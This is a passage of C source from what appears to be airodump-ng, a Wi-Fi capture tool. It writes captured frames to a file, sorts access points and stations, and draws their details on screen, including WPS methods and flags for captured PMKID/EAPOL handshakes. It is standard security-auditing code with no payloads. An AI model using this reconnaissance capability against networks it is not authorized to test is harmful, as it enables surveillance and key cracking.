na_cur->ack_old = 0;
na_cur->ackps = 0;
na_cur->cts = 0;
na_cur->rts_r = 0;
na_cur->rts_t = 0;
}
/* update the last time seen & power*/
na_cur->tlast = time(NULL);
na_cur->power = ri->ri_power;
na_cur->channel = ri->ri_channel;
switch (h80211[0] & 0xF0)
{
case 0xB0:
if (p == h80211 + 4) na_cur->rts_r++;
if (p == h80211 + 10) na_cur->rts_t++;
break;
case 0xC0:
na_cur->cts++;
break;
case 0xD0:
na_cur->ack++;
break;
default:
na_cur->other++;
break;
}
/*grab next mac (for rts frames)*/
p += 6;
}
}
}
if (opt.f_cap != NULL && caplen >= 10)
{
pkh.len = pkh.caplen = (uint32_t) caplen;
gettimeofday(&tv, NULL);
pkh.tv_sec = (int32_t) tv.tv_sec;
pkh.tv_usec = (int32_t) tv.tv_usec;
n = sizeof(pkh);
if (fwrite(&pkh, 1, n, opt.f_cap) != (size_t) n)
{
perror("fwrite(packet header) failed");
return (1);
}
fflush(stdout);
n = pkh.caplen;
if (fwrite(h80211, 1, n, opt.f_cap) != (size_t) n)
{
perror("fwrite(packet data) failed");
return (1);
}
fflush(stdout);
}
return (0);
}
static void dump_sort(void)
{
time_t tt = time(NULL);
/* thanks to Arnaud Cornet :-) */
struct AP_info * new_ap_1st = NULL;
struct AP_info * new_ap_end = NULL;
struct ST_info * new_st_1st = NULL;
struct ST_info * new_st_end = NULL;
struct ST_info *st_cur, *st_min;
struct AP_info *ap_cur, *ap_min;
/* sort the aps by WHATEVER first */
while (lopt.ap_1st)
{
ap_min = NULL;
ap_cur = lopt.ap_1st;
while (ap_cur != NULL)
{
if (tt - ap_cur->tlast > 20) ap_min = ap_cur;
ap_cur = ap_cur->next;
}
if (ap_min == NULL)
{
ap_min = ap_cur = lopt.ap_1st;
/*#define SORT_BY_BSSID 1
#define SORT_BY_POWER 2
#define SORT_BY_BEACON 3
#define SORT_BY_DATA 4
#define SORT_BY_PRATE 6
#define SORT_BY_CHAN 7
#define SORT_BY_MBIT 8
#define SORT_BY_ENC 9
#define SORT_BY_CIPHER 10
#define SORT_BY_AUTH 11
#define SORT_BY_ESSID 12*/
while (ap_cur != NULL)
{
switch (lopt.sort_by)
{
case SORT_BY_BSSID:
if (memcmp(ap_cur->bssid, ap_min->bssid, 6)
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_POWER:
if ((ap_cur->avg_power - ap_min->avg_power)
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_BEACON:
if ((ap_cur->nb_bcn < ap_min->nb_bcn) && lopt.sort_inv)
ap_min = ap_cur;
break;
case SORT_BY_DATA:
if ((ap_cur->nb_data < ap_min->nb_data)
&& lopt.sort_inv)
ap_min = ap_cur;
break;
case SORT_BY_PRATE:
if ((ap_cur->nb_dataps - ap_min->nb_dataps)
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_CHAN:
if ((ap_cur->channel - ap_min->channel) * lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_MBIT:
if ((ap_cur->max_speed - ap_min->max_speed)
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_ENC:
if (((int) (ap_cur->security & STD_FIELD)
- (int) (ap_min->security & STD_FIELD))
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_CIPHER:
if (((int) (ap_cur->security & ENC_FIELD)
- (int) (ap_min->security & ENC_FIELD))
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_AUTH:
if (((int) (ap_cur->security & AUTH_FIELD)
- (int) (ap_min->security & AUTH_FIELD))
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
case SORT_BY_ESSID:
if ((strncasecmp((char *) ap_cur->essid,
(char *) ap_min->essid,
ESSID_LENGTH))
* lopt.sort_inv
< 0)
ap_min = ap_cur;
break;
default: // sort by power
if (ap_cur->avg_power < ap_min->avg_power)
ap_min = ap_cur;
break;
}
ap_cur = ap_cur->next;
}
}
if (ap_min == lopt.ap_1st) lopt.ap_1st = ap_min->next;
if (ap_min == lopt.ap_end) lopt.ap_end = ap_min->prev;
if (ap_min->next) ap_min->next->prev = ap_min->prev;
if (ap_min->prev) ap_min->prev->next = ap_min->next;
if (new_ap_end)
{
new_ap_end->next = ap_min;
ap_min->prev = new_ap_end;
new_ap_end = ap_min;
new_ap_end->next = NULL;
}
else
{
new_ap_1st = new_ap_end = ap_min;
ap_min->next = ap_min->prev = NULL;
}
}
lopt.ap_1st = new_ap_1st;
lopt.ap_end = new_ap_end;
/* now sort the stations */
while (lopt.st_1st)
{
st_min = NULL;
st_cur = lopt.st_1st;
while (st_cur != NULL)
{
if (tt - st_cur->tlast > 60) st_min = st_cur;
st_cur = st_cur->next;
}
if (st_min == NULL)
{
st_min = st_cur = lopt.st_1st;
while (st_cur != NULL)
{
if (st_cur->power < st_min->power) st_min = st_cur;
st_cur = st_cur->next;
}
}
if (st_min == lopt.st_1st) lopt.st_1st = st_min->next;
if (st_min == lopt.st_end) lopt.st_end = st_min->prev;
if (st_min->next) st_min->next->prev = st_min->prev;
if (st_min->prev) st_min->prev->next = st_min->next;
if (new_st_end)
{
new_st_end->next = st_min;
st_min->prev = new_st_end;
new_st_end = st_min;
new_st_end->next = NULL;
}
else
{
new_st_1st = new_st_end = st_min;
st_min->next = st_min->prev = NULL;
}
}
lopt.st_1st = new_st_1st;
lopt.st_end = new_st_end;
}
static int getBatteryState(void) { return get_battery_state(); }
static char * getStringTimeFromSec(double seconds)
{
int hour[3];
char * ret;
char * HourTime;
char * MinTime;
if (seconds < 0) return (NULL);
ret = (char *) calloc(1, 256);
ALLEGE(ret != NULL);
HourTime = (char *) calloc(1, 128);
ALLEGE(HourTime != NULL);
MinTime = (char *) calloc(1, 128);
ALLEGE(MinTime != NULL);
hour[0] = (int) (seconds);
hour[1] = hour[0] / 60;
hour[2] = hour[1] / 60;
hour[0] %= 60;
hour[1] %= 60;
if (hour[2] != 0)
snprintf(
HourTime, 128, "%d %s", hour[2], (hour[2] == 1) ? "hour" : "hours");
if (hour[1] != 0)
snprintf(
MinTime, 128, "%d %s", hour[1], (hour[1] == 1) ? "min" : "mins");
if (hour[2] != 0 && hour[1] != 0)
snprintf(ret, 256, "%s %s", HourTime, MinTime);
else
{
if (hour[2] == 0 && hour[1] == 0)
snprintf(ret, 256, "%d s", hour[0]);
else
snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime);
}
free(MinTime);
free(HourTime);
return (ret);
}
static char * getBatteryString(void)
{
int batt_time;
char * ret;
char * batt_string;
batt_time = getBatteryState();
if (batt_time <= 60)
{
ret = (char *) calloc(1, 2);
ALLEGE(ret != NULL);
ret[0] = ']';
return (ret);
}
batt_string = getStringTimeFromSec((double) batt_time);
ALLEGE(batt_string != NULL);
ret = (char *) calloc(1, 256);
ALLEGE(ret != NULL);
snprintf(ret, 256, "][ BAT: %s ]", batt_string);
free(batt_string);
return (ret);
}
#define TSTP_SEC \
1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */
#define TSTP_MIN (TSTP_SEC * 60ULL)
#define TSTP_HOUR (TSTP_MIN * 60ULL)
#define TSTP_DAY (TSTP_HOUR * 24ULL)
static char * parse_timestamp(unsigned long long timestamp)
{
#define TSTP_LEN 15
static char s[TSTP_LEN];
unsigned long long rem;
unsigned char days, hours, mins, secs;
// Initialize array
memset(s, 0, TSTP_LEN);
// Calculate days, hours, mins and secs
days = (uint8_t) (timestamp / TSTP_DAY);
rem = timestamp % TSTP_DAY;
hours = (unsigned char) (rem / TSTP_HOUR);
rem %= TSTP_HOUR;
mins = (unsigned char) (rem / TSTP_MIN);
rem %= TSTP_MIN;
secs = (unsigned char) (rem / TSTP_SEC);
snprintf(s, TSTP_LEN, "%3ud %02u:%02u:%02u", days, hours, mins, secs);
#undef TSTP_LEN
return (s);
}
static int IsAp2BeSkipped(struct AP_info * ap_cur)
{
REQUIRE(ap_cur != NULL);
int i = 0;
int match = 0;
if (ap_cur->nb_pkt < lopt.min_pkts
|| time(NULL) - ap_cur->tlast > lopt.berlin
|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
{
return (1);
}
if (ap_cur->avg_power < (int) lopt.min_power)
{
return (1);
}
if ((lopt.singlechan || lopt.singlefreq)
&& (ap_cur->rx_quality < (int) lopt.min_rxq))
{
return (1);
}
if (ap_cur->security != 0 && lopt.f_encrypt != 0
&& ((ap_cur->security & lopt.f_encrypt) == 0))
{
return (1);
}
if (is_filtered_essid(ap_cur->essid))
{
return (1);
}
if (lopt.chanoption && lopt.ignore_other_channels)
{
while (lopt.own_channels[i])
{
if (ap_cur->channel == lopt.own_channels[i])
{
match = 1;
break;
}
i++;
}
if (match != 1) return (1);
}
return (0);
}
#define CHECK_END_OF_SCREEN() \
do \
{ \
++nlines; \
if (nlines >= (ws_row - 1)) \
{ \
erase_display(0); \
return; \
}; \
} while (0)
static void dump_print(int ws_row, int ws_col, int if_num)
{
time_t tt;
struct tm * lt;
int nlines, i, n;
char strbuf[1024];
char buffer[1024];
char ssid_list[512];
struct AP_info * ap_cur;
struct ST_info * st_cur;
struct NA_info * na_cur;
int columns_ap = 84;
int columns_sta = 74;
ssize_t len;
int num_ap;
int num_sta;
if (!(lopt.singlechan || lopt.singlefreq))
columns_ap -= 4; // no RXQ in scan mode
if (lopt.show_uptime) columns_ap += 15; // show uptime needs more space
nlines = 2;
if (nlines >= ws_row) return;
if (lopt.do_sort_always)
{
ALLEGE(pthread_mutex_lock(&(lopt.mx_sort)) == 0);
dump_sort();
ALLEGE(pthread_mutex_unlock(&(lopt.mx_sort)) == 0);
}
tt = time(NULL);
lt = localtime(&tt);
if (lopt.is_berlin)
{
lopt.maxaps = 0;
lopt.numaps = 0;
ap_cur = lopt.ap_end;
while (ap_cur != NULL)
{
lopt.maxaps++;
if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > lopt.berlin
|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
{
ap_cur = ap_cur->prev;
continue;
}
lopt.numaps++;
ap_cur = ap_cur->prev;
}
if (lopt.numaps > lopt.maxnumaps) lopt.maxnumaps = lopt.numaps;
}
/*
* display the channel, battery, position (if we are connected to GPSd)
* and current time
*/
memset(strbuf, '\0', sizeof(strbuf));
moveto(1, 2);
textcolor_normal();
textcolor_fg(TEXT_WHITE);
if (lopt.freqoption)
{
snprintf(strbuf, sizeof(strbuf) - 1, " Freq %4d", lopt.frequency[0]);
for (i = 1; i < if_num; i++)
{
memset(buffer, '\0', sizeof(buffer));
snprintf(buffer, sizeof(buffer), ",%4d", lopt.frequency[i]);
strlcat(strbuf, buffer, sizeof(strbuf));
}
}
else
{
snprintf(strbuf, sizeof(strbuf) - 1, " CH %2d", lopt.channel[0]);
for (i = 1; i < if_num; i++)
{
memset(buffer, '\0', sizeof(buffer));
snprintf(buffer, sizeof(buffer) - 1, ",%2d", lopt.channel[i]);
strlcat(strbuf, buffer, sizeof(strbuf));
}
}
memset(buffer, '\0', sizeof(buffer));
if (lopt.gps_loc[0] || (opt.usegpsd))
{
// If using GPS then check if we have a valid fix or not and report accordingly
if (lopt.gps_loc[0] != 0) //-V550
{
struct tm * gtime = &lopt.gps_time;
snprintf(buffer,
sizeof(buffer) - 1,
" %s[ GPS %3.6f,%3.6f %02d:%02d:%02d ][ Elapsed: %s ][ "
"%04d-%02d-%02d %02d:%02d ",
lopt.batt,
lopt.gps_loc[0],
lopt.gps_loc[1],
gtime->tm_hour,
gtime->tm_min,
gtime->tm_sec,
lopt.elapsed_time,
1900 + lt->tm_year,
1 + lt->tm_mon,
lt->tm_mday,
lt->tm_hour,
lt->tm_min);
}
else
{
snprintf(
buffer,
sizeof(buffer) - 1,
" %s[ GPS %-29s ][ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
lopt.batt,
" *** No Fix! ***",
lopt.elapsed_time,
1900 + lt->tm_year,
1 + lt->tm_mon,
lt->tm_mday,
lt->tm_hour,
lt->tm_min);
}
}
else
{
snprintf(buffer,
sizeof(buffer) - 1,
" %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
lopt.batt,
lopt.elapsed_time,
1900 + lt->tm_year,
1 + lt->tm_mon,
lt->tm_mday,
lt->tm_hour,
lt->tm_min);
}
strlcat(strbuf, buffer, sizeof(strbuf));
memset(buffer, '\0', sizeof(buffer));
if (lopt.is_berlin)
{
snprintf(buffer,
sizeof(buffer) - 1,
" ][%3d/%3d/%4d ",
lopt.numaps,
lopt.maxnumaps,
lopt.maxaps);
}
strlcat(strbuf, buffer, sizeof(strbuf));
memset(buffer, '\0', sizeof(buffer));
if (*lopt.message != '\0')
{
strlcat(strbuf, lopt.message, sizeof(strbuf));
}
strbuf[ws_col - 1] = '\0';
ALLEGE(strchr(strbuf, '\n') == NULL);
console_puts(strbuf);
CHECK_END_OF_SCREEN();
/* print some information about each detected AP */
erase_line(0);
move(CURSOR_DOWN, 1);
CHECK_END_OF_SCREEN();
if (lopt.show_ap)
{
strbuf[0] = 0;
strlcat(strbuf, " BSSID PWR ", sizeof(strbuf));
if (lopt.singlechan || lopt.singlefreq)
strlcat(strbuf, "RXQ ", sizeof(strbuf));
strlcat(strbuf,
" Beacons #Data, #/s CH MB ENC CIPHER AUTH ",
sizeof(strbuf));
if (lopt.show_uptime)
strlcat(strbuf, " UPTIME ", sizeof(strbuf));
if (lopt.show_wps)
{
strlcat(strbuf, "WPS ", sizeof(strbuf));
if (ws_col > (columns_ap - 4))
{
memset(strbuf + columns_ap, ' ', sizeof(strbuf) - columns_ap);
snprintf(strbuf + columns_ap - strlen("ESSID")
+ lopt.maxsize_wps_seen + strlen(" "),
6,
"%s",
"ESSID");
if (lopt.show_manufacturer)
{
memset(strbuf + columns_ap + lopt.maxsize_wps_seen + 1,
' ',
sizeof(strbuf) - columns_ap - lopt.maxsize_wps_seen
- 1);
snprintf(strbuf + columns_ap + lopt.maxsize_wps_seen
+ lopt.maxsize_essid_seen - strlen("ESSID"),
13,
"%s",
"MANUFACTURER");
}
}
}
else
{
strlcat(strbuf, "ESSID", sizeof(strbuf));
if (lopt.show_manufacturer && (ws_col > (columns_ap - 4)))
{
memset(strbuf + columns_ap, ' ', sizeof(strbuf) - columns_ap);
snprintf(strbuf + columns_ap - strlen("ESSID")
+ lopt.maxsize_essid_seen,
13,
"%s",
"MANUFACTURER");
}
}
strbuf[ws_col - 1] = '\0';
console_puts(strbuf);
CHECK_END_OF_SCREEN();
erase_line(0);
move(CURSOR_DOWN, 1);
CHECK_END_OF_SCREEN();
ap_cur = lopt.ap_end;
num_ap = 0;
while (ap_cur != NULL)
{
/* skip APs with only one packet, or those older than 2 min.
* always skip if bssid == broadcast */
if (IsAp2BeSkipped(ap_cur))
{
if (lopt.p_selected_ap == ap_cur)
{ //the selected AP is skipped (will not be printed), we have to go to the next printable AP
struct AP_info * ap_tmp;
if (selection_direction_up
== lopt.en_selection_direction) //UP arrow was last pressed
{
ap_tmp = ap_cur->next;
if (ap_tmp)
{
while ((0 != (lopt.p_selected_ap = ap_tmp))
&& IsAp2BeSkipped(ap_tmp))
ap_tmp = ap_tmp->next;
}
if (!ap_tmp) //we have reached the first element in the list, so go in another direction
{ //upon we have an AP that is not skipped
ap_tmp = ap_cur->prev;
if (ap_tmp)
{
while ((0 != (lopt.p_selected_ap = ap_tmp))
&& IsAp2BeSkipped(ap_tmp))
ap_tmp = ap_tmp->prev;
}
}
}
else if (
selection_direction_down
== lopt.en_selection_direction) //DOWN arrow was last pressed
{
ap_tmp = ap_cur->prev;
if (ap_tmp)
{
while ((0 != (lopt.p_selected_ap = ap_tmp))
&& IsAp2BeSkipped(ap_tmp))
ap_tmp = ap_tmp->prev;
}
if (!ap_tmp) //we have reached the last element in the list, so go in another direction
{ //upon we have an AP that is not skipped
ap_tmp = ap_cur->next;
if (ap_tmp)
{
while ((0 != (lopt.p_selected_ap = ap_tmp))
&& IsAp2BeSkipped(ap_tmp))
ap_tmp = ap_tmp->next;
}
}
}
}
ap_cur = ap_cur->prev;
continue;
}
num_ap++;
if (num_ap < lopt.start_print_ap)
{
ap_cur = ap_cur->prev;
continue;
}
nlines++;
if (nlines > (ws_row - 1)) return;
memset(strbuf, '\0', sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf),
" %02X:%02X:%02X:%02X:%02X:%02X",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
len = strlen(strbuf);
if (lopt.singlechan || lopt.singlefreq)
{
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %3d %3d %8lu %8lu %4d",
ap_cur->avg_power,
ap_cur->rx_quality,
ap_cur->nb_bcn,
ap_cur->nb_data,
ap_cur->nb_dataps);
}
else
{
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %3d %8lu %8lu %4d",
ap_cur->avg_power,
ap_cur->nb_bcn,
ap_cur->nb_data,
ap_cur->nb_dataps);
}
len = strlen(strbuf);
if (ap_cur->standard[0])
{
// In case of 802.11n or 802.11ac, QoS is pretty much implied
// Short or long preamble is not that useful anymore.
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %3d %4d ",
ap_cur->channel,
ap_cur->max_speed);
}
else
{
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %3d %4d%c%c ",
ap_cur->channel,
ap_cur->max_speed,
(ap_cur->security & STD_QOS) ? 'e' : ' ',
(ap_cur->preamble) ? '.' : ' ');
}
len = strlen(strbuf);
if ((ap_cur->security & (STD_FIELD | AUTH_SAE | AUTH_OWE)) == 0)
snprintf(strbuf + len, sizeof(strbuf) - len, " ");
else
{
if (ap_cur->security & STD_WPA2)
{
if (ap_cur->security & AUTH_SAE
|| ap_cur->security & AUTH_OWE)
snprintf(strbuf + len, sizeof(strbuf) - len, "WPA3");
else
snprintf(strbuf + len, sizeof(strbuf) - len, "WPA2");
}
else if (ap_cur->security & STD_WPA)
snprintf(strbuf + len, sizeof(strbuf) - len, "WPA ");
else if (ap_cur->security & STD_WEP)
snprintf(strbuf + len, sizeof(strbuf) - len, "WEP ");
else if (ap_cur->security & STD_OPN)
snprintf(strbuf + len, sizeof(strbuf) - len, "OPN ");
}
strlcat(strbuf, " ", sizeof(strbuf));
len = strlen(strbuf);
if ((ap_cur->security & ENC_FIELD) == 0)
snprintf(strbuf + len, sizeof(strbuf) - len, " ");
else
{
if (ap_cur->security & ENC_CCMP)
snprintf(strbuf + len, sizeof(strbuf) - len, "CCMP ");
else if (ap_cur->security & ENC_WRAP)
snprintf(strbuf + len, sizeof(strbuf) - len, "WRAP ");
else if (ap_cur->security & ENC_TKIP)
snprintf(strbuf + len, sizeof(strbuf) - len, "TKIP ");
else if (ap_cur->security & ENC_WEP104)
snprintf(strbuf + len, sizeof(strbuf) - len, "WEP104 ");
else if (ap_cur->security & ENC_WEP40)
snprintf(strbuf + len, sizeof(strbuf) - len, "WEP40 ");
else if (ap_cur->security & ENC_WEP)
snprintf(strbuf + len, sizeof(strbuf) - len, "WEP ");
}
len = strlen(strbuf);
if ((ap_cur->security & AUTH_FIELD) == 0)
snprintf(strbuf + len, sizeof(strbuf) - len, " ");
else
{
if (ap_cur->security & AUTH_SAE)
snprintf(strbuf + len, sizeof(strbuf) - len, "SAE ");
else if (ap_cur->security & AUTH_MGT)
snprintf(strbuf + len, sizeof(strbuf) - len, "MGT ");
else if (ap_cur->security & AUTH_CMAC)
snprintf(strbuf + len, sizeof(strbuf) - len, "CMAC");
else if (ap_cur->security & AUTH_PSK)
{
if (ap_cur->security & STD_WEP)
snprintf(strbuf + len, sizeof(strbuf) - len, "SKA ");
else
snprintf(strbuf + len, sizeof(strbuf) - len, "PSK ");
}
else if (ap_cur->security & AUTH_OWE)
snprintf(strbuf + len, sizeof(strbuf) - len, "OWE ");
else if (ap_cur->security & AUTH_OPN)
snprintf(strbuf + len, sizeof(strbuf) - len, "OPN ");
}
len = strlen(strbuf);
if (lopt.show_uptime)
{
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %14s",
parse_timestamp(ap_cur->timestamp));
len = strlen(strbuf);
}
if (lopt.p_selected_ap && (lopt.p_selected_ap == ap_cur))
{
if (lopt.mark_cur_ap)
{
if (ap_cur->marked == 0)
{
ap_cur->marked = 1;
}
else
{
ap_cur->marked_color++;
if (ap_cur->marked_color > TEXT_MAX_COLOR)
{
ap_cur->marked_color = 1;
ap_cur->marked = 0;
}
}
lopt.mark_cur_ap = 0;
}
textstyle(TEXT_REVERSE);
memcpy(lopt.selected_bssid, ap_cur->bssid, 6);
}
if (ap_cur->marked)
{
textcolor_fg(ap_cur->marked_color);
}
memset(strbuf + len, ' ', sizeof(strbuf) - len - 1);
if (ws_col > (columns_ap - 4))
{
if (lopt.show_wps)
{
ssize_t wps_len = len;
if (ap_cur->wps.state != 0xFF)
{
if (ap_cur->wps.ap_setup_locked) // AP setup locked
snprintf(
strbuf + len, sizeof(strbuf) - len, "Locked");
else
{
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %u.%d",
ap_cur->wps.version >> 4,
ap_cur->wps.version & 0xF); // Version
len = strlen(strbuf);
if (ap_cur->wps.meth) // WPS Config Methods
{
char tbuf[64];
memset(tbuf, '\0', sizeof(tbuf));
int sep = 0;
#define T(bit, name) \
do \
{ \
if (ap_cur->wps.meth & (1u << (bit))) \
{ \
if (sep) strlcat(tbuf, ",", sizeof(tbuf)); \
sep = 1; \
strlcat(tbuf, (name), sizeof(tbuf)); \
} \
} while (0)
T(0u, "USB"); // USB method
T(1u, "ETHER"); // Ethernet
T(2u, "LAB"); // Label
T(3u, "DISP"); // Display
T(4u, "EXTNFC"); // Ext. NFC Token
T(5u, "INTNFC"); // Int. NFC Token
T(6u, "NFCINTF"); // NFC Interface
T(7u, "PBC"); // Push Button
T(8u, "KPAD"); // Keypad
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %s",
tbuf);
#undef T
}
}
}
else
{
snprintf(strbuf + len, sizeof(strbuf) - len, " ");
}
len = strlen(strbuf);
if ((ssize_t) lopt.maxsize_wps_seen <= len - wps_len)
lopt.maxsize_wps_seen = (u_int) MAX(len - wps_len, 6);
else
{
// pad output
memset(strbuf + len, ' ', sizeof(strbuf) - len - 1);
len += lopt.maxsize_wps_seen - (len - wps_len);
strbuf[len] = '\0';
}
}
ssize_t essid_len = len;
if (ap_cur->essid[0] != 0x00)
{
if (lopt.show_wps)
snprintf(strbuf + len,
sizeof(strbuf) - len - 1,
" %s",
ap_cur->essid);
else
snprintf(strbuf + len,
sizeof(strbuf) - len,
" %s",
ap_cur->essid);
}
else
{
if (lopt.show_wps)
snprintf(strbuf + len,
sizeof(strbuf) - len - 1,
" <length:%3d>%s",
ap_cur->ssid_length,
"\x00");
else
snprintf(strbuf + len,
sizeof(strbuf) - len,
" <length:%3d>%s",
ap_cur->ssid_length,
"\x00");
}
len = strlen(strbuf);
if (lopt.show_manufacturer)
{
if (lopt.maxsize_essid_seen <= (u_int) (len - essid_len))
lopt.maxsize_essid_seen
= (u_int) MAX(len - essid_len, 5);
else
{
// pad output
memset(strbuf + len, ' ', sizeof(strbuf) - len - 1);
len += lopt.maxsize_essid_seen - (len - essid_len);
strbuf[len] = '\0';
}
if (ap_cur->manuf == NULL)
ap_cur->manuf = get_manufacturer(ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2]);
snprintf(strbuf + len,
sizeof(strbuf) - len - 1,
" %s",
ap_cur->manuf);
}
}
len = strlen(strbuf);
// write spaces until the end of column
int len_remaining = ws_col - len;
if (len_remaining > 0)
{
ALLEGE((size_t) len + len_remaining <= sizeof(strbuf));
memset(strbuf + len, ' ', len_remaining);
}
strbuf[ws_col - 1] = '\0';
console_puts(strbuf);
if ((lopt.p_selected_ap && (lopt.p_selected_ap == ap_cur))
|| (ap_cur->marked))
{
textstyle(TEXT_RESET);
}
ap_cur = ap_cur->prev;
}
/* print some information about each detected station */
erase_line(0);
move(CURSOR_DOWN, 1);
CHECK_END_OF_SCREEN();
}
if (lopt.show_sta && !(lopt.asso_station && lopt.unasso_station))
{
strlcpy(strbuf,
" BSSID STATION "
" PWR Rate Lost Frames Notes Probes",
sizeof(strbuf));
strbuf[ws_col - 1] = '\0';
console_puts(strbuf);
CHECK_END_OF_SCREEN();
erase_line(0);
move(CURSOR_DOWN, 1);
CHECK_END_OF_SCREEN();
ap_cur = lopt.ap_end;
num_sta = 0;
while (ap_cur != NULL)
{
if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > lopt.berlin)
{
ap_cur = ap_cur->prev;
continue;
}
if (ap_cur->security != 0 && lopt.f_encrypt != 0
&& ((ap_cur->security & lopt.f_encrypt) == 0))
{
ap_cur = ap_cur->prev;
continue;
}
// Don't filter unassociated stations by ESSID
if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
&& is_filtered_essid(ap_cur->essid))
{
ap_cur = ap_cur->prev;
continue;
}
if (nlines >= (ws_row - 1)) return;
st_cur = lopt.st_end;
if (lopt.p_selected_ap
&& (memcmp(lopt.selected_bssid, ap_cur->bssid, 6) == 0))
{
textstyle(TEXT_REVERSE);
}
if (ap_cur->marked)
{
textcolor_fg(ap_cur->marked_color);
}
while (st_cur != NULL)
{
if (st_cur->base != ap_cur
|| time(NULL) - st_cur->tlast > lopt.berlin)
{
st_cur = st_cur->prev;
continue;
}
if (((memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
&& lopt.asso_station)
|| ((memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
&& lopt.unasso_station))
{
st_cur = st_cur->prev;
continue;
}
num_sta++;
if (lopt.start_print_sta > num_sta) continue;
nlines++;
if (nlines >= (ws_row - 1)) return;
if (!memcmp(ap_cur->bssid, BROADCAST, 6))
printf(" (not associated) ");
else
printf(" %02X:%02X:%02X:%02X:%02X:%02X",
ap_cur->bssid[0],
ap_cur->bssid[1],
ap_cur->bssid[2],
ap_cur->bssid[3],
ap_cur->bssid[4],
ap_cur->bssid[5]);
printf(" %02X:%02X:%02X:%02X:%02X:%02X",
st_cur->stmac[0],
st_cur->stmac[1],
st_cur->stmac[2],
st_cur->stmac[3],
st_cur->stmac[4],
st_cur->stmac[5]);
printf(" %3d ", st_cur->power);
printf(" %2d", st_cur->rate_to / 1000000);
printf("%c", (st_cur->qos_fr_ds) ? 'e' : ' ');
printf("-%2d", st_cur->rate_from / 1000000);
printf("%c", (st_cur->qos_to_ds) ? 'e' : ' ');
printf(" %4d", st_cur->missed);
printf(" %8lu", st_cur->nb_pkt);
printf(" %-5s",
(st_cur->wpa.pmkid[0] != 0)
? "PMKID"
: (st_cur->wpa.state == 7 ? "EAPOL" : ""));
if (ws_col > (columns_sta - 6))
{
memset(ssid_list, 0, sizeof(ssid_list));
for (i = 0, n = 0; i < NB_PRB; i++)
{
if (st_cur->probes[i][0] == '\0') continue;
snprintf(ssid_list + n,
sizeof(ssid_list) - n - 1,
"%c%s",
(i > 0) ? ',' : ' ',
st_cur->probes[i]);
n += (1 + strlen(st_cur->probes[i]));
if (n >= (int) sizeof(ssid_list)) break;
}
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf, sizeof(strbuf) - 1, "%-256s", ssid_list)
< 0
? abort()
: (void) 0;
strbuf[MAX(ws_col - 75, 0)] = '\0';
printf(" %s", strbuf);
}
erase_line(0);
putchar('\n');
st_cur = st_cur->prev;
}
if ((lopt.p_selected_ap
&& (memcmp(lopt.selected_bssid, ap_cur->bssid, 6) == 0))
|| (ap_cur->marked))
{
textstyle(TEXT_RESET);
}
ap_cur = ap_cur->prev;
}
}
if (lopt.show_ack)
{
/* print some information about each unknown station */
erase_line(0);
move(CURSOR_DOWN, 1);
CHECK_END_OF_SCREEN();
strlcpy(strbuf,
" MAC "
" CH PWR ACK ACK/s CTS RTS_RX RTS_TX OTHER",
sizeof(strbuf));
strbuf[ws_col - 1] = '\0';
console_puts(strbuf);
CHECK_END_OF_SCREEN();
memset(strbuf, ' ', (size_t) ws_col - 1);
strbuf[ws_col - 1] = '\0';
console_puts(strbuf);
CHECK_END_OF_SCREEN();
na_cur = lopt.na_1st;
while (na_cur != NULL)
{
if (time(NULL) - na_cur->tlast > 120)
{
na_cur = na_cur->next;
continue;
}
nlines++;
if (nlines >= (ws_row - 1)) return;
printf(" %02X:%02X:%02X:%02X:%02X:%02X",
na_cur->namac[0],
na_cur->namac[1],
na_cur->namac[2],
na_cur->namac[3],
na_cur->namac[4],
na_cur->namac[5]);
printf(" %3d", na_cur->channel);
printf(" %3d", na_cur->power);
printf(" %6d", na_cur->ack);
printf(" %4d", na_cur->ackps);
printf(" %6d", na_cur->cts);
printf(" %6d", na_cur->rts_r);
printf(" %6d", na_cur->rts_t);
printf(" %6d", na_cur->other);
erase_line(0);
putchar('\n');
na_cur = na_cur->next;
}
}
erase_display(0);
}
#define OUI_STR_SIZE 8
#define MANUF_SIZE 128
static char *
get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2)
{
char oui[OUI_STR_SIZE + 1];
char *manuf, *rmanuf;
char * manuf_str;
struct oui * ptr;
FILE * fp;
char buffer[BUFSIZ];
char temp[OUI_STR_SIZE + 1];
unsigned char a[2];
unsigned char b[2];
unsigned char c[2];
int found = 0;
size_t oui_len;
if ((manuf = (char *) calloc(1, MANUF_SIZE * sizeof(char))) == NULL)
{
perror("calloc failed");
return (NULL);
}
snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2);
oui_len = strlen(oui);
if (lopt.manufList != NULL)
{
// Search in the list
ptr = lopt.manufList;
while (ptr != NULL)
{
